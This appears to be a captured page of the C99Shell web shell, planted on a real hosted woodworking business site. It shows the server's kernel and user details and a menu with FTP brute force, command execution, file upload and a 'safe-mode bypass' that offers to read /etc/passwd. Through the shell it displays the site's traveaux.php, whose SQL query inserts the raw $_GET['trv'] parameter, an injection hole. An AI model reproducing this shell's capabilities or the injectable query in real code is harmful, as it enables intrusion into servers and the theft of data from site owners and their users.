!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm115.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     traveaux.php (3.17 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once 'head.php'; ?>
<style>
    #siteconstr{
        margin-bottom: 15px;
    }
</style>
</head>
<body class="">

    <div id="logo"><a href="index.php"><img src="./images/logo.png" /></a></div>

    <div id="contnaire">
        <div id="siteconstr">
            <ul id="jMenu">
                <li>
                    <a href="index.php">presentation    </a>
                </li>

                <li>
                    <a href="#">marine / fluvial </a>
                    <ul>
                        <li>
                            <a href="traveaux.php?trv=1">construction neuve</a>
                        </li>
                        <li>
                            <a href="traveaux.php?trv=2">RENOVATION</a>
                        </li>

                    </ul>
                </li>

                <li>
                    <a href="traveaux.php?trv=3">agencement & decoration</a>
                </li>
                <li>
                    <a href="traveaux.php?trv=4">DIVERS</a>
                </li>

                <li>
                    <a href="javascript:void(0);" class="btnontact">contact</a>
                </li>


            </ul>



        </div>
        <br class="clear">
        <div id="blocProds">

            <?php
            $sqlProjet = "SELECT * FROM `" . TABLE_PROJETS . "` WHERE active=1 and idparent='" . $_GET['trv'] . "' and type='projet' ORDER BY orderid ASC";
            $rowsProjet = $db->query($sqlProjet);
            $i = 0;
            while ($recordProjet = $db->fetch($rowsProjet)) {
                $i++;
                if ($i == 3) {
                    $lastPr = "lastProd";
                    $i = 0;
                } else {
                    $lastPr = "";
                }
                echo '<div class="colProd ' . $lastPr . '"><a href="details-' . $recordProjet['id'] . '.html"><h2>' . $recordProjet['titrefr'] . '</h2><img src="./images/produits/' . $recordProjet['photo'] . '" /></a></div>';
            }
            ?>

        </div>
        <br class="clear">

        <div id="divForm">
            <div class="titreForm"><span>contact</span><br>Pour tous renseignements ou demande de devis veuillez nous contacter.</div>

            <form id="contact-form" name="contact-form" method="post" action="submitemail.php">
                <div id="col1">
                    <input type="text" placeholder="NOM" id="nom" name="nom" class="required"><br>
                    <input type="text" placeholder="TELEPHONE" id="tel" name="tel" class="required"><br>
                    <input type="text" placeholder="EMAIL" id="email" name="email" class="required email"><br>
                    <input type="text" placeholder="VILLE" id="ville" name="ville" class="required">

                </div>
                <div id="col2">
                    <textarea name="message" id="message" placeholder="MESSAGE" class="required"></textarea><br>
                    <input type="submit" id="submit" name="submit" value="ENVOYER">
                </div>

            </form>
        </div>
        <div id="copyright">Copyright © 2014 ebenisteriedandres.com All rights reserved.</div>

    </div>
    <?php require 'footer.php'; ?>
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.005 ]--